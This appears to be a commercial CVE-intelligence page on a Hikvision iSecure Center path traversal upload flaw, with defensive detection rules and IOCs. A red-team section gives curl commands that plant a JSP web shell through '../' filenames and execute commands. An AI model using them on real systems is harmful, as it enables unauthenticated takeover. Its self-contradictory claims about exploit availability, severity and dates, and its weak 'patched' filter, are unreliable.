☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-53691

CVE-2023-53691 Directory Traversal in Hikvision
📅 PUBLISHED: 2025-10-22 00:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.5× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-53691 is a critical path traversal vulnerability in Hikvision’s CSMP (Comprehensive Security Management Platform) iSecure Center, actively exploited in the wild during 2024 and 2025. The flaw allows unauthenticated attackers to upload arbitrary files via the /center/api/files endpoint by manipulating directory traversal sequences in the file path. This can lead to remote code execution, full system compromise, and lateral movement within the surveillance network. The vulnerability has a CVSS score of 8.3, indicating high severity. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Hikvision software appliance.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.3 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The threat level is Critical due to active exploitation, no patch, and the potential for full system takeover.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Hikvision iSecure Center’s CSMP. The endpoint /center/api/files does not properly sanitize user-supplied file paths. By injecting ../ sequences, an attacker can write files to arbitrary directories outside the intended upload folder. This allows uploading a web shell (e.g., a JSP or PHP file) to the web root, leading to remote code execution.

The attack flow:

  1. Attacker sends a POST request to /center/api/files with a crafted filename parameter containing path traversal sequences.
  2. The server writes the uploaded file to the attacker-specified location.
  3. The attacker accesses the uploaded file via the web server, executing arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No path sanitization
String uploadDir = "/var/uploads/";
String filename = request.getParameter("filename");
File file = new File(uploadDir + filename);
// Writes file to uploadDir + filename, allowing traversal

Patched Code (Conceptual):

// Patched: Sanitize path and validate
String uploadDir = "/var/uploads/";
String filename = request.getParameter("filename");
filename = filename.replaceAll("\\.\\./", ""); // Remove traversal
File file = new File(uploadDir + filename);
// Also validate that the final path is within uploadDir

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running Hikvision iSecure Center (CSMP) with /center/api/files exposed.
  • No authentication required.

Exploit Steps:

  1. Create a malicious JSP web shell (e.g., cmd.jsp).
  2. Send a crafted POST request to upload the shell to the web root:
curl -X POST "http://target/center/api/files" \
  -F "file=@cmd.jsp" \
  -F "filename=../../webapps/ROOT/cmd.jsp"
  1. Access the shell:
curl "http://target/cmd.jsp?cmd=whoami"

Alternative Payload: Upload a PHP shell if the server supports PHP.

Blue Team

Detection:

  • Monitor for POST requests to /center/api/files with suspicious filename parameters containing ../.
  • Alert on file writes to unexpected directories (e.g., web root, /tmp, /etc).

Hunting:

  • Search for files named *.jsp, *.php, or *.asp in web directories that were not part of the original deployment.
  • Check for unusual processes spawned by the web server user.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /center/api/files with filename containing ../
    • Outbound connections from the server to unknown IPs on ports 80/443
  • File System:
    • Unexpected files in /webapps/ROOT/, /var/www/html/, or similar web directories
    • Files named cmd.jsp, shell.php, backdoor.asp
  • Process:
    • Web server user (e.g., tomcat, www-data) spawning cmd.exe, /bin/sh, or python

Detection Engineering

YARA Rule

rule CVE_2023_53691_Hikvision_Upload {
    meta:
        description = "Detects path traversal attempts in Hikvision iSecure Center file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53691"
    strings:
        $traversal = "../"
        $endpoint = "/center/api/files"
    condition:
        $endpoint and #traversal > 0
}

Sigma Rule

title: Hikvision iSecure Center Path Traversal Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Hikvision iSecure Center file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/center/api/files'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53691 Hikvision iSecure Center Path Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/center/api/files"; http_uri; content:"../"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems from the internet and untrusted networks.
  2. Disable the /center/api/files endpoint if not required, using a WAF or reverse proxy.
  3. Apply virtual patching via WAF rules to block ../ in file upload parameters.

Long-Term Fix:

  • Monitor Hikvision’s official advisory for a patch. If no patch is available, consider upgrading to a non-vulnerable version or replacing the platform.
  • Implement strict input validation and path sanitization in any custom code.

Compromise Assessment:

  • Scan for web shells and unauthorized files.
  • Review logs for suspicious POST requests to /center/api/files.
  • Check for outbound connections to unknown IPs.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Hikvision iSecure Center
Hikvision /center/api/files

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-53691/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.